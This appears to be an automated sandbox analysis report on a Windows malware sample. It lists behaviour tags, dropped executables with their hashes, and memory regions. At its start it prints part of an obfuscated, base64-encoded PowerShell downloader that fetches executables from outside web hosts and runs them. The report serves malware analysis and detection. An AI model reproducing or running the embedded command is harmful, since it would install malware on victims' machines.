dwBlACcAKQArACcAIAAnACsAKAAnAF0AcwBhACcAKwAnAG4AJwApACsAJwBhAHkAJwArACgAJwBhACcAKwAnAHQAZQAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAJwBtAFsAJwArACcAIAAnACsAKAAnAHcAZQAgAF0AJwArACcAdwAnACkAKwAnAHAAJwArACgAJwAtACcAKwAnAGkAbgBjACcAKwAnAGwAdQBkAGUAJwApACsAJwBzACcAKwAnAFsAJwArACgAJwAgAHcAZQAnACsAJwAgACcAKQArACgAJwBdAGgAZABbACAAdwBlACAAJwArACcAXQAnACsAJwBAACcAKwAnAGgAdAB0AHAAJwArACcAcwAnACkAKwAnADoAJwArACcAWwAnACsAKAAnACAAJwArACcAdwBlACAAXQAnACsAJwBbACAAdwBlACAAXQB3AHcAdwAnACkAKwAnAC4AJwArACgAJwBqAG8AJwArACcAcgAnACkAKwAnAGcAZQAnACsAKAAnAGMAJwArACcAbwByACcAKQArACcAbwAnACsAKAAnAG4AZQAnACsAJwBsACcAKwAnAC4AYwAnACsAJwBvAG0AWwAgACcAKQArACgAJwB3ACcAKwAnAGUAIABdAHcAZQBiACcAKQArACcAbQAnACsAKAAnAGEAJwArACcAcwB0ACcAKQArACgAJwBlAHIAWwAnACsAJwAgACcAKQArACgAJwB3ACcAKwAnAGUAIABdAGsAWQAnACkAKwAoACcASABbACcAKwAnACAAdwAnACkAKwAnAGUAJwArACcAIABdACcAKQAuACIAUgBFAHAAbABBAGAAYwBlACIAKAAoACgAJwBbACcAKwAnACAAdwAnACkAKwAoACcAZQAnACsAJwAgAF0AJwApACkALAAnAC8AJwApAC4AIgBzAGAAUABMAEkAdAAiACgAJABWADYAagA3AHEAegAxACAAKwAgACQARgAwADMAegBuAGsAZgAgACsAIAAkAEsAcAB0AHQAYgA0ADYAKQA7ACQARwB5AGEAYwA1ADUAbgA9ACgAKAAnAEcAeAAwAGsAJwArACcAawAnACkAKwAnAG4AagAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE8AZQAwAHEAdgBiAGcAIABpAG4AIAAkAE4AeQBrAHEAaQBiAGoAKQB7AHQAcgB5AHsAJABPAGYAbABwAHkAMQA3AC4AIgBkAGAATwBgAFcAbgBMAG8AYQBkAGYASQBsAGUAIgAoACQATwBlADAAcQB2AGIAZwAsACAAJABWAGEAcwBhAHcAZgBoACkAOwAkAEMAcgBvADUAZwAwAGMAPQAoACgAJwBIACcAKwAnAHMAZABvACcAKQArACgAJwBfACcAKwAnAHAAbAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABWAGEAcwBhAHcAZgBoACkALgAiAGwAYABFAG4AYABHAFQAaAAiACAALQBnAGUAIAA0ADcAMQA3ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAaQAnACsAJwBuADMAJwApACsAKAAnADIAXwBQACcAKwAnAHIAbwBjACcAKQArACgAJwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBDAHIARQBgAEEAVABFACIAKAAkAFYAYQBzAGEAdwBmAGgAKQA7ACQAQQBhAGoAXwBzADUAYQA9ACgAKAAnAEgAJwArACcAdwA1ADEAcQAnACkAKwAnAGEAYgAnACkAOwBiAHIAZQBhAGsAOwAkAFoAcQB2AHAAYgAzAGsAPQAoACgAJwBBADQAJwArACcAbAAxACcAKQArACcAMABhACcAKwAnADYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGoAagBtAF8AdgB2AD0AKAAnAEsAbAAnACsAKAAnADcAbgBpACcAKwAnAGwANgAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exeC:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cryptdlg\odbc32.exe"C:\Windows\SysWOW64\cryptdlg\odbc32.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exeMD5
0cb7d9bc6b1c1e48e5cc7b684c0adb33
SHA1d4d961b1e54fa6936a24045b56a693361ba7fd48
SHA256521312fc3c1ecae737e326d8bb35405ff3ad875ecb3405860838f9f73591f7f3
SHA512729bb6f23efb79481eda3cecd9b1d1342573bc9c1a4a8f12f1339ef605531f1704f0cd3793df0606b1c34e2c1be93843b526f4a68558a9f192dec150a15fb13b
-
C:\Users\Admin\Zywxi7n\Mn7d8nm\Rieb3cpl.exeMD5
0cb7d9bc6b1c1e48e5cc7b684c0adb33
SHA1d4d961b1e54fa6936a24045b56a693361ba7fd48
SHA256521312fc3c1ecae737e326d8bb35405ff3ad875ecb3405860838f9f73591f7f3
SHA512729bb6f23efb79481eda3cecd9b1d1342573bc9c1a4a8f12f1339ef605531f1704f0cd3793df0606b1c34e2c1be93843b526f4a68558a9f192dec150a15fb13b
-
C:\Windows\SysWOW64\cryptdlg\odbc32.exeMD5
0cb7d9bc6b1c1e48e5cc7b684c0adb33
SHA1d4d961b1e54fa6936a24045b56a693361ba7fd48
SHA256521312fc3c1ecae737e326d8bb35405ff3ad875ecb3405860838f9f73591f7f3
SHA512729bb6f23efb79481eda3cecd9b1d1342573bc9c1a4a8f12f1339ef605531f1704f0cd3793df0606b1c34e2c1be93843b526f4a68558a9f192dec150a15fb13b
-
memory/108-19-0x000007FEF7020000-0x000007FEF729A000-memory.dmpFilesize
2.5MB
-
memory/928-15-0x0000000000000000-mapping.dmp
-
memory/928-18-0x0000000000430000-0x0000000000443000-memory.dmpFilesize
76KB
-
memory/928-17-0x0000000000260000-0x0000000000275000-memory.dmpFilesize
84KB
-
memory/1036-0-0x000000000050A000-0x000000000050C000-memory.dmpFilesize
8KB
-
memory/1036-3-0x0000000005C93000-0x0000000005C94000-memory.dmpFilesize
4KB
-
memory/1036-2-0x000000000050C000-0x0000000000510000-memory.dmpFilesize
16KB
-
memory/1036-1-0x0000000006410000-0x0000000006414000-memory.dmpFilesize
16KB
-
memory/1364-13-0x00000000002F0000-0x0000000000303000-memory.dmpFilesize
76KB
-
memory/1364-12-0x00000000002C0000-0x00000000002D5000-memory.dmpFilesize
84KB
-
memory/1632-5-0x0000000002270000-0x0000000002271000-memory.dmpFilesize
4KB
-
memory/1632-10-0x000000001C3D0000-0x000000001C3D1000-memory.dmpFilesize
4KB
-
memory/1632-9-0x000000001A960000-0x000000001A961000-memory.dmpFilesize
4KB
-
memory/1632-8-0x0000000002570000-0x0000000002571000-memory.dmpFilesize
4KB
-
memory/1632-7-0x00000000023C0000-0x00000000023C1000-memory.dmpFilesize
4KB
-
memory/1632-6-0x000000001ABB0000-0x000000001ABB1000-memory.dmpFilesize
4KB
-
memory/1632-4-0x000007FEF6180000-0x000007FEF6B6C000-memory.dmpFilesize
9.9MB